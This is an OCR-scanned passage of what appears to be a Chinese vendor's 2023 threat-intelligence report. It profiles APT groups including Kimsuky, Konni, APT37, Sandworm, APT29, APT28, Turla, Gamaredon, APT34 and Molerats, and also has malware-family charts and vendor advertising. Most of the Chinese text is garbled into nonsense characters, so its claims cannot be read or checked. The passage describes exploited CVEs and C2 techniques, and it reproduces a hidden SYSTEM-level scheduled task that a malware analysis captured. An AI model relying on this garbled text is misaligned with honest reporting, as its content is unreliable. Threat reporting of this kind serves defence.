2023 &, Kimsuky RANEEHHEENREEMAPT ALz —, ENHEED. SMUNRPHBESHEXNZ T

WEIRREZRMERE ERN. bFTEMoffice\hwp XEXHFRITERRES R, SEEHPEHNZMER CHM

XHF#HITHENEG, ERMBGESERANEEH. SN EASFEMHEE. Kimsuky 285 KEBFHHFER,
HEBMIEY URL. BEHSZMB LML LIRHEE ReconShark BE A9 Office X4, LULGIBFA&E

A4 Rweb BREIE. b4, Kimsuky EHEALEE Chrome itf2£ @, BRTHERABEHEENRMY AppleSeed Z 5,
EEA Meterpreter FIRBIEHERRGRIZFNZRRN RS, BEXER VNC ZiEA RDP Wrapper Fiziz2 izl

IH.

JERATE 34 N YA B
U

Kimsuky E BRIBEXERBNERE

4.KONNI

Konni APT HAR BB KATIRESZ I, B2014 FLOR—EFHSED, ZARKPHEHRTH. SEFMEX AT
EEREES, REKERHSARIEAN BFETEaXAMNBNEK T,

2023 %, Konni AAKIRE, Bl BhEe6 By, HERMENBEKRSBEIAKE. REFITHHLURSER
FRSRSERS (KFTC) BEMENSESREBFRESEERMREHIER, 78 APEAEL0 AhaifiE, WEE
B, BHURBAEERREZRERBHREED. ARREEGREESEILHTAFERAEFE, EHXFHE
SHRAEEBIIR. MBETERAL. ERMMUEREM. Konni HALEEZEF LM AREBENRTE.

KONNI £ 28 R & EEH, A TInk, powershell, vbs, bat, pe EZLMERKHHE, FHTZIP. 1SO
ETEER, TEAT YAMIIMWInRar BF (CVE_2023_38831, ®|#IfENOday #HE) FIAKEHERR.

66



eV 4 IE soEw

@ navw

PO HANEE i

WHMEMR
nHaR SEEeY SUEE T :
I AT 10T -

5.APT37 (Groupl23)

APT37, X #&Groupl23. Scarcruft, ELMN 2012 EFEM—BHEFHK, TEHWNHENLHEMAEIRIT. 2017
F, APTI7T BEHBRCEV XISBH ¥ LUIINMK, GFEEK. HENPE, URBMrZNEHETL, 8EK
T, B8F. #iE MEMX. SENETRELE, ZALRSkonni BARGELEBXE, HAE&Windows HMac0S.

Android #ohigp MK BERE Do

2023 £, APT37 #4UEHK, WP HMERMBSEAPTI7 MERKEEHN, N1 BNHERFLTRAXASHEHEX
BEAESRYE. 4 BHEBBESITAMANSELAREEDMISFERESEEIR. 10 BRERTHNE
BEIAMEFERESEEF. 12 ANEAHEEANERNCFEIAMRESEBIRES. 1L, 8 BHETHER
Tk Bt S T 24047 NPO Mashinostroyeniya I\ B EHEEMSAPT3T 4%,

2023 FAPT3IT WHEFEP, ZELFBEEAHBEXEREETERY, MRABEERAHRETEAEKR
HINK X (BEXEESRFHRNFETTHIBHAEKESOMBER) f; RBEAIFERSE, BT B MRokrat
A5, EFEAEAChinotto. Goldbackdoor LI &E lkAmadey K5; C2 MBEF=HME, APT3T FAKEEA

Dropbox. pCloud. Yandex EM&EARS.

TONBRAZ GeBrecH

3 G
GeBTecH {é‘._/ GG

i‘%

_T:.:.f i
i

e -
S | g :E |
= 24
ik &a
s s as
Tose b g e
g e
=== o
Fame ]
_—r 8
e
i e

o e
B Al
o e B
S =k

|

APT37 fEFAAYIEIE SCHY

67



6. iR%

25F (GreenSpot) B— M KBAHM AMMEMAPTHR, XEEREEHF. BBHEI. MEMX. BREE.
ETFEH. SMHM. R, A5FNE. SHFBENREFEAEIRENNENEGMEXKSED,.

SELK, SHNPNERGTHATHUTEN: —RERHIEBEFZBETHERE, MEREMAEERR;, =2
HEagZNanERABRTHENZEZNMBEERTE. TEAMSEREBMNL, L “EFFEFN WHIE

RAF.

BHRLVIE

C1908 - 302D Tenceet lnc. All Rights Reserved B
A lENA

https://nmgove.orgRIRISSIF

js_name is_mdS

Js/main.is bRa20abe90 ] 74 bd24cBbE 290124836

<meta charset="utf-8" />
<script types"text/javascript™ src="js/main.js"></script>
<link rel="stylesheet™ type="text/css™ href="css/main.css™>
</head>
<body>
<div id="input_#">

<div style="margin-top:15px;font-family:Verdana;color:red;font-size: 2ww;">
NrEewd

</div>»

<div style="margin-top:3px;font -for:green;?ant -size: 0.7vw;margin-left:80px;">

Loz Bopibinis b
</div»

<div class«"user-box col-md-12">
<div>

sima err=" flmalid ana™ i

68



ARXRRYGEDT, REEFEATHFEREFRGER, BdEHZEH, RIDRFENEMIEESFHE Rl
sk 8 400 1o

126"~ BAME T

SR BN S

=ty | 26 cOm

wwemen HIFR SEREIR 4018

HEFAPMBEZARBRAMRRZHERKRL. BHSAR.

BT

BT EIIR R 20

M kg@126.com

B FER2023F mE MRS BRI rar
772.3M8B
43F 487553 i30S SRR

¢ BiNTR

AT i B35

About NetEase| 2 1M {EE R77E {RIN(ES |3 P8 & 18 0 AR MR
About NetFase|2) SUEI ([R5 2| IREN{ES
EFPEE|EXE|RENE

Copyright ? 1997-2023 BBLREME

69



3841KB

17FRANGI85 280 S3UHE
SIS RBRERE oS TR

~ @lée3.com :i:g-m
«Com

@l63.com 0163, oom

@163.com @163.com

@lé3.com @163.com

@163.com @163.com

@163.com @163.com

@163.com @163.com

@163.com :iig:gﬁ:

@163.com @163.com

@163.com @163.com

@163.com :i:g-x

163.com 9163. com

@l63.com 0163.com

@l63.com @126.com

@l63.com @163.com

@126.com :}:g.m

« COom

10163 com 163.com

0163.com @163.com

@163.com @126.com

AR, BINESMNBLVNENERRPRIAT HHBEN—LEFEXKTIR, EIZARFIBREREAITIRR
FRBBEHITR S

("2 EPEI TR DEYAS . paf", "290.0K");

("EFMdF 20225 BHFMEN X T ERYAK. docx”, "16.8K");

W WhE. zip”, "259.96M");

& R E . x1s", "22K");

(~20225F St DSZfF.doc”, "48K");

{'m RS0 RO P T S E LB . doc™, =28K")
RLIR .doc™, "43K");

(' RS s . docx”, "12.9K");

('ﬁﬂ%!ia&-xlsx'. "20.0K");

("SRR ERINEARS .doc”, "33.1K");

70



REX

HEH$E2022 F2 ABRAESCREAMENE, FHESRT, #IBERAPT AR7E2023 FH4ERESEERRKS.
%2022 FEDSE, SEREBRAPT AEREEFZTBEERAENAE: RERNEEFMNSEERHNESRZEH
AHEUSHERIEARARAENEMNLIKZ/ER; UAPT28. APT29. Sandworm. Turla. Gamaredon Aft%&
BAPT AR HEHARKEBRTULAREFERAE,

SandWorm

SandWorm B—TMREMAEHTH 2 SHGRU IFIRBIM T 74455 BMIAE RHAPT AR, ZHELARF F2009 FHE
EK, FBREEMALNERNEF. EL. EEFNMH. TRERAPTARP, KFFHMEAKL, SandWorm
EEHRER AT ET T WITH RA T HWRIFF K,

2023 £, SandWorm kB E EFHT HRFEREXBFNMBMIRBNMNBERES. BTRERFSR=BIN
BLUESREFESRTHZI, SandWorm WA XRERITILE 122 RABFATEBEMERE, EFAT Zyxel X
#&®7F (CVE-2023-33009 . CVE-2023-33010) , B AIEREA AN Mirai BFMETEHC2 B

«tunl verslon-" m-‘utl-:e‘!s
e e e [| T 13" mbas NEto: //schenas. wicrosoft. con/indous/2004/62/nit /task">
<heglstrationInfor
o st ey LR \Adninistrator</Author>
W— SRiuw ws Hetanpn 174 <URI>\UpdatefarService</URI> NPt ROTABOmND Mol sad
wche of 7 </Registrationlnfos salosiwws sovs Musiies
iz ottt TataTrissers
oer TEwR Lk e o . dﬂrm!l!! <B4-25T10:05:471</StartBoundary>
o 1 ke © 509 00 0) 00 00 00 04 00 00 06 1Y 11 00 00 04 00 00 00 <Enabled>truec led>
i ] B 0 00 0 ket e o @B | <fVelrigger
ot AR PR L g‘m : P4
B <Principal 1d="Author ">
forrttil - -doconduben s . <RunLevel>LesstPrivilege</RunLevels
Jrakmonn /1 C:\MUndows Lewalor e wne <UserId>NT AUTHORITY\Systene/Userld>
[rcac e e O indoss iesplorer see deey "3 11 80 m‘m.mﬂm'm
-IM{:}»
oo "5” *r..oau-'vu:..o.-.a.u.-.r.nn( </Principa
:un u\ = nilgrenr -acceptevls -r o8 4 <Setti
) <l \ommtuplwmnmmhmmmm
e d‘u’:} oot fal "}s‘m:M%
eu—:nuuuuu-n fGolngOnBatteriessfalses >
R et i S - d&uﬁﬁulta\. hlm’;llm lable>
e>true</Sta
ihutdon jr /7 [t 40 <hunOnly]fietworkAvallablesfalses/RunOnlylfietworkAvailables
nabasrer - pccepteula f on g €1\ <l
D.n-nw” lﬂ;:r mn:lﬁ-m w‘ -y q-un.ﬂoﬂotn-pr—n- Borvar W ] dv:;tuﬂmﬂl-;{:?mﬂ
Boreaancae arsemmnal prmusims Winker (MO «StopOnldleEnd>false«/StopOnldletnd>
de P50 T SODETS Lore B D DIARES) Buacpucmaws e s ooy 2504 2021 B tOnldlesfalsec/RestartOnldle>
=~ «/1d1eSettings>
aat o -m-swmummtmnm
l:l lc Viner s B 02 Fr G0 0 e 00 W Te W0 0, B0 00 s 8 e 0 W: 20) <Enabled>true</Enabled»>
<iiddens>tr {ddens>
T T T e RonOnlyIf den o1 see/RendulyIfIdLe>
"a.‘:J"L;u‘m‘:=:‘_ R IR o At ) e ¢ lsallovitartonhenatedppsessions falsec/Disal loustortintanstodspsossions
y Ot e ke mm-mmn‘uut e -
) w}%NHT&!ImMMb
<
Pl T s s, € own ofiattiager
tor I Vaeliaan® "" i Ty o P, <Actions Comtext:"Author’s
takwsen [0 /T «Exec>
S R N <Command>( : \Users\updatel.bat</Comnand>
’ ) ’lm“b
«fActions»
w-i:.:"f".':' _Cn.ltb

BEH$E: https://cert.gov.ua/article/4501891

71



APT29

APT29 B—Z ABMEIEERMAPT AR, BSolarWinds HNBERFEHABAES, ZEAL-HRFEHERS,
AR 2022 £ 2 AFRBANBRS HRHER, APT2I NREBXERNKEEHFELERS.

2023 5, APT29 T X T ERERIZBAEENEXEBHERT, XEENRES/LF2ARNER. 2EFFHE. F
B, RHREANTHNER. £E. MEAUERBIBEEMNILIEER, BFEL45t, 8E8R=. . THH,
EbFIet,. B, BEF. BAH. BitF. XE. XE. NEX. BFE. fE. F/. FHARSEREANIEINK
EIEERE APT29 EAKRE. BXMHFSHER “Covid-2019” . “BS&HS” . “RBARIW . “KEEK
FEA FAX, BRTMENGXVEMERETZIN, APT29 BEMEMATeamCity (JetBrains A —RIFLEE
B% Continuous Integration TH) mfEABHITRIECVE-2023-42793 AEXEEEMEFHISTTILLE,

B, WEEEAREEDFFAERNEKBEFBNMNBE~LHBEMREL: KEESEM CobaltStrike # A
BETBRME M C2API X HIREF & B BeatDrop GraphicalNeutrino EX B READ, MBE~RK
THESEHANTEBESRERTHETNIBMZINEKRER NEA dropbox. googledrive. trello. notion.
microsoftonline EAREFMEMERRIEN C2 FE. APT29 SEARENE R HHEERN ST EHABEEARET
B E

APT29 T RIETEA

72



APT28

APT28 RETFHRZHESHBETEFIRE (GRU) F 85 T BH ARSI (GTsSS) EEH (L 26165, =/ H 2004
FLUREFEES, EWFEFEESAPT29, Turla BS, MEFAHEBCAEIRIEIEREEEH.

2023 £, APT28 FFtaE EEHK. XA FHEREEMNH, SFEAPT28 MERmHHY S REFHFHEZ B FRNVERI
#£80, BREERRALH. ERBERGESREEER=. ZE. FEEL. K=. 9B, tHHE. BX7. HE
. FREETANZITEARNBEE. L. &R, 3H. 88 BAFTLNGE, XREFHPERTSERART
BOutlook iFfEcve-2023-23397. WinRAR jFFAICVE-2023-38831, HifiN{EMMockbin, webhook.site BR €

7C2 8k,

Turla

Holdays and Obtaervances n
Ukraene 2024

Turla, H##ASnake, Venomous Bear. WhiteBear . Waterbug. Uroboros %, B— 1T EAEHSHBEMAER

BYAPT AR,

ZELBRMEETEZ HHKBRLELBFSB, BRFENNEILNN2004 F, BEDES, Turla BRERE

NREFHNPNREEIRMEEBI4S TER, HRGEFEEBRANG. XEE. BRAAKA. B, 5FHF
i, BHANK. FHHQEFE. AREZRGENABERIER, BI—-RIIMNEEREDHNEFLUKBERER.

2023 &, Turla BRAFHRAERA. BERZHENEAMWE P (CERT-UA) B, 2023 £7 8, Turla FIE
MEH @R BEHERHNCapibar EENHM Kazuar BT SR Z4STMEENA#ITERER S, HRFES,
Capibar # AR WK EREIR, ™ Kazuar MHTEIEES.

https://cert.gov.ua/article/5213167

3



Gamaredon

Gamaredon E—TRAERFHMERMAPT AR, EL 8 2013 FLER—BHERK, ERGERFREIBAUESR=ZAEN
B H7 R s o8 E B BT LA

2023 £, Gamaredon #ERFEMAN KR ETHE. EEXMHE K EEDP, Gamaredon 4 £ fF Alnk.
htmlsmuggeling. sfx BREXRENIEHST, MBBHREADSSHERLTHRANCEZETLR, BRTIHESER
SPHEFE—HOREEDZI, Gamaredon £2023 FEWEHECh P AEM LitterDrifter USB i, {EBNIZER
RENERESRZIERNEEXRER. B CheckPointiRE, SLMFELMRTERE, AXE. #iE. 8. K=, &
EURFEEESEMLitterDrifter SRERT R,

b L s e s T ey

Gamaredon & BYIFE SO BB BRI A S

Rt

2023 5, RTEHMERMIBRAPT ALFERI, RINFUNIZERNERRESTAMBIAPT AL H X REHIK
HiER. XERHEFNZ HE RMERE TR, EHBESMS. LYBERER TR BREAD Rweb HE I 5E,
KWEEREIEAETH. SR=SEXRNBF. ET. R, B §8. ETFFTLNN, HPEFHAZRER
AEENERER, REBREEZMAAARBINAKE Fh, EBIREEHP, KIHEFRC2 BAF-EFER
EMEMIERALS (WIAPT28. APT29. Turla) IEEMIER.

74



R

FPREXNREEFELESHAPABTERFOMA: PREEHR LEONXASRBEENTHZ—, BEFEE
BRAFMABHXEEM G, ANESFNEDILRENTLNESERFURS|TLRREENIE. RN, FKREH
SHMEPREFEMENBEZ —, HERNBSBENEKSTFSEH,

APT34

APT34 B— M ERMFEBHRMNEIEALS (XL0ilRig. Crambus) B—MEEENRMK SFEBMNIELIEASR, Z
HAB2014 FEUR—BHETRK, ST ERNERFRBTR, S8EFEDVEMAAB. Ladl, FiaKkaEkE. #i
. HB, REB#M. BHER. FER. AREELE. XEMLIHHE, UEREEMEEENIENRTKBAR. &
2009 FTASHER, BABENAPTI4 AR HL. AMEIERMENENRA, ZARPRRALFHNRETLAR,
3ERDAT. SideTwist flSaitama &, LI R KB imith X FE LR T 1L .

BSF2BEIRHNE, ZHAWPABRFHTTEKENTBNANR, EENNORED, APTMARET
PowerExchange J5i], PowerExchange G 1@ —M&EFPowerShell W/E17], BEERITMAREELXRIING L,
FERE T EAR & RMEXchange Server LRBEPFERAITREERENS <. ESRNTETPES/EMRLEHN
B, HREXLESSHITHUMNERE, XESExchange Server IBAECKC (L 5EH) RSH, BFE
EEANBEHATHREEBETIEFHBEFRIZEND L, RILL, APTI4EBET=ZIMUFIRBRUNTERY, M
BEEATFZ2EXRMMNEZEZT R, FINERALAFNNEEETLA Plink ZRBEMITHRN LESHROZEZAN, M
midid 2 R @ IHIXRDP LIMEIZiA 6.

2

Ganjavi Global Marketing Services

Providing top-tier marketing services since 1990

1. Schedule an inibal consultation with MS o develop and refine a brand for

APT34 W {E R 8IFH Y

75



Molerats

Molerats ja)i%4847 (TA402. Gaza Cybergang. Frankenstein. WIRTE) ZE/EH2011 FLUR—EHER, ZELH
FHBHAIBMENFEMIEE, —EFEUPRANILIENBRRENER, SEERRTLUGHIHNEHIENBEIR.
Molerats $tXIZ M EET, FlMER. BE. EHNE. ZANHB, EFgHE. BENBNBEHLZE, 2EH
EMPBRARE HENERREFUIEMREIRES. ZARNEEDNEMNSNEBIFRESRE B4 LUK
Lt

BARSEZHRBADERELN, HFM2021 FHEERNIDropbox API ERMRSS, RMEMESS5EEHNE
hitig ME#1TC2 @15, FHE@EEDropbox %, XLL XHFHIFFRAR XSS R AT THESSHERETERMF.
SENRGEDRRT EA—LBHBINIimbleMamba, BrittleBush BB ARSI, EARTHHOTERGFHITH
&, fironWind EEKRS, FEZEARAKABIHEREZRFIZEETHTEARD, NRHEENIP FEREE
BFEEA, WEEEEIEENE, RAEFSTBAIP FRETHIZBEARDIRG, NHEHESESEME,

76



BERITIEMSE

£ LT RS

>>



Tl gE, FRTIEIRNFE[MDEFER, 5R0TF:

ZRTL, RNMASHEARNREERTLAF . RIADSEEREAMKBRARE, TLRT. FHEEEMER
Nty, BRBEPAEBNEFAXR, IAKRGHNE-TATEFRLET M4, Z—FE, TAFFABENFNMHER
BRORLPIPIER, FIERNENZRENRE R

REERNARBFRE, FHTBAD, SHTRMADIEESRMITURBEENKENHE. NTRPEITEH, BIK
DEARSEHRELNE. FRNASHESPNAEFEE2 I, TRRAEERITUNEEEZ K,

55, CobaltStrike kA BEZHTURLENEEHBRS, X—HEHREFESESR2MENE, URSS5HFHREEH
MESMEHEXX R,

2023F EREITILELAD S 75

MylobotiE:AS [N
wannaMineizi A3 || G
FloxifAS | N
gn@Erms I
Ramniti#=A3 |G-
NrsMinerizi A2 | EENEG_
prnerAs
sality222A3 NG
cobaltstrikexZ [ NG
virutigF R4 [
wAs
DorkbotEFF# |

0 10 20 30 40 50 60 70

78



BERIT, SRIMAZHBINGE R, HEE3 o 55, CobaltStrike KBEERFRITUMANEEHRKS, —ER
EERBERTUFEFEDLHRTTALRLENE, ANFESSKHRENYIANE (L.

A, BERGXTFERRTUNREEMERXE. BRTLHNEREFFREXFEATRENEZRMIZEOHAEE
db. SR, HEEFEMTE, ERTUKREANZIMABRSEDNDNITER, BEIHHRRENTIBRE BT
2023 FTHF, HHMORhysida HMEARTURLRETHE, ERTTENGR. BEHFREFNRELR,
PAR AR EIBIRaas RN MER, RERTURAEMADRARNEIRRIIR,

2023 FRERITILEM D

NitolAR S
RamnitifR A
H-WORMIERAS
Phorpiex{&F 48
Floxif K5
NrsMineriZl k5
Sality B KRS
Dorkbot{#F M4
KINEF P
TEBET RS
Virut{# = R4
RIMAKS
CobaltStrike k3
FiveSysRootkitA&D

79



BENNERZTREZHN “EREFMS” HXE, WMDorkbot, EIMMVirut F, HNXEIRES TN EREREBEK.
ERREEX. BRFRABRAAZHNAREHTRZLE, SEX2NEERR/), BHEEFEN L.

5o, BFRABARIEMERE, FATRENDLARGEAERR, SREBRIMERFAMKNKE. WLE
AN EHAERETERRLAATRMAEA, FTANRXETH. B, IEFTAIBLUKRS. BREFXBIFEX, &
EMRRE, FBNRUPRER, ERTRATENTM,

2023 F BRI 53 76

NrsMinerAk=
BladabindiAk3
BayrobfEFP A3
CobaltStrike{@ P4
PIESIET KD
RamnitiFRAD
Phorpiex{& P &
MylobotffRAS
RIS

Virut{@F M4

Sality & RAS
Qadarsk5
KR %
Dorkbot{EF R4
FiveSysRootkitAS

80



HETL, CHERFAETERNZENERASASHENIENR. FEFAENHNARAFMNFREARR, XHEP
BDRARLAHRR. WBHT. SMEHET, EEHEFPNSE. SERADLUREIHET KD HENERRK.

S5, APT AR FERNBRNIEMKRER, BE2023 EFREEHK. AR, DarkHotel IBEEH HIAINER
BRONEHGRE, RIWELHEAN. REAPEINEBFAZEFRIMZIER, EMT EE MR KX
ERMEE. 2024 &, HIIAHFARAPT A FERNBE NERFE.

2023FH B TR

NrsMinerk% -
Bladabindix3 [l
CobaltStrike & R4
Floxifk3

Virut{@F P4
RamnitéERAS
Zegostk S
WannaMineiZl A5
Sality BRI AD
IPERGIET KD
RIMEF ML
Dorkbot{EF 4§
RIMAS
ViperSoftXRATAD
FiveSysRootkitAkS



HPATE: REIERE

BIPAE 7T
MT1RRE

RPBEB, ARMPRORLENRR, TBHRAATEEADBEREDHHAL. KR
ERES 2. B APT AR & REMASER. EEABSBMEITRA EXRHNR
MR F o

R BEREHEEAS ST SEUERR. Web WEHER. HMEHER. KHIE. A EFRE
BANARERAN, ABSEDUBERETRA. RABRAR. TV H. BT
BRALR. EMFERA. ERWRAR. BMBRAR. KBIBEXKAIREE. W%
FEME2WEFEETHREANRE, WRPSRAVOEHREEXMHF. TH% URL
PDNS. Whois #B#H{TRRBIBEKS . BRI RABIEXEK S . MEBERES
BRI 9 FLE, BHELERNTVERTMEIEER APT AAHTREXREM I
MBI, DRER. R, SHRFTINERARETR, BRREAHGH+RD
BRAPTHR, H+TRRTER, BUTEA—ROEAMBERARERAMALN
BLBME IR, RIS R LA M= B NLEES



XTFHY

WMFHRITF2015 F, BRAFHARNSRSEARFERL, TETHE SN, TENFSEBRATBEE, Fel
FHIIMTERMERTLENERE, #E ‘st RB+HS" 2AUMBRENMN~RRES, BHEFRI2ES
BN E G RENE 2EMEE.

No.1 90% @)
R E B AME R AT Y 5 ERITI L EEE

B — BRZNRME 0

ELIUR NiEGartner Gartner Peer Insights FI£8 R
{EKEEIRTHEE) 6 5 0 7 B P BRI 1T = Bk Top5
2R NIE BIXERE B5%m
SR EER BRRFEE ERtrHERE
» (RERMHENSHE “BRZE 8 » EFRREREH DEA" Bl m (GB.~T 34960.5-2018 2E;ATEHIE)
&) ;ﬁéﬁﬁﬂ)ﬁ" { Gartner Peer
Insight, 2023 -
“ ® CCIA BRI = L TP 50 3 B (GB./T 37985-2010 {5 M= £ A
u (EEMERTHER (Landscape) 18 o
&) SHAREU (Forrester. 2023)  TIEHRERE AR AT ENE BREEIMMERLD
u (EpnEIRT AR DEM—EGEm e 3 i y
e o B = THEREREHDUREENH ™ (CB./T28448.2010 ERREHAR
FESFRFERIPNTER)
u (FERNMMERSHHER) PE u ERHEAR AR
Ak (Gartner, 2022) e SN
_ » ERESESTAE (CNNVD) —i& ® AGB/T 42393-2023 MBS
= PREZEMIR (Gartner, 2022) RN EMAELEMTERANT)
u (FEMAMERTBHIRE) MSERR
HEEMB 18 (LA, 2022) n EEFESERES L BEENSE

= {IDC Perspective; SEMER LSRN RERRN

EEmEHEE) % & (DC, 2022)
= T{55F “66 2022" SERESRINER

» (REEMEEHERIRE) Ha® :
HEE— (W, 2001) e o2y L=
m T 100 38 (41844 ,2019) B ANEERTERSON AT
B AT

m SIRFEZS 50038 (Cybersecurity
Ventures, 2017-2019)

EREKXIE FRE

o0 Y ¢ 0083 Y, ¢ FEEARIT0AERRED Y, ¢ 00 FREEEW Y ¢ 200 LRERR Y,
y EEammen ¢ ‘E mEEF#OSYS Y ¥ RMERLRIIHE ¢ E sttks Y Y maReEm
Y wmRseren € D seaszeen € Y soEsRusane € D eeRszeea £ D wumme £



2H MU~ mMRS &R

‘G RE IR 275 (LR &R IR
BEH—ARERS

Be ik - -
RLMRHE =
& 7 £5
TE’EP m’ﬁgﬁfﬁgf Raniix || EEMeN SRR
A BSHELLPUB HFish®
s 2 158 R Webshel#&MER | EHMNEHESIERES

p—— —— =2

API| TDP® OneSIG
FAMEIRENS 27 RS Ee ETIES
OneSEC
RigReEEFS
TIP OneSandbox OneDNS®
EIMEIREETES DEDITES BEEREMESENRES
A
4 [ —
MEREeEn
Pl EAMEIR =R R E R P& = [E)llLe b5d); 1
=31 B s [ S S iR ity = (OFN P QREE

84



itSZEiRAINR

oD MBES

g3k www.threatbook.cn
HiFE . contactus@threatbook.com
E5i% . 400-030-1051

bR dtREmEERGME49-3REAEIE

L EEmiBE AER588-688S Rt HBE11E04

il SRR LR E B R+ B K ET01E

B RARGERELICS W E HRIE2401A

VA RAREAF A EHAE438STRPLER2#712/21203
L S e SRR E118S31K10E25

A ERTLTERLGE® R SHIF=E 5D 10E1206Z

A MBS E RO BB E 1108

N AN B E X FRR508 S BIEXTEIMR S HE3EB26HAE
AL ARHEHMAE=851606A

AT TR mm N e Had-3E M AM11E1113

=V EPAhAEREBERITISPHEANT H1EAESE-E01

I

=

9 © 0 0 © © © © © © © ©




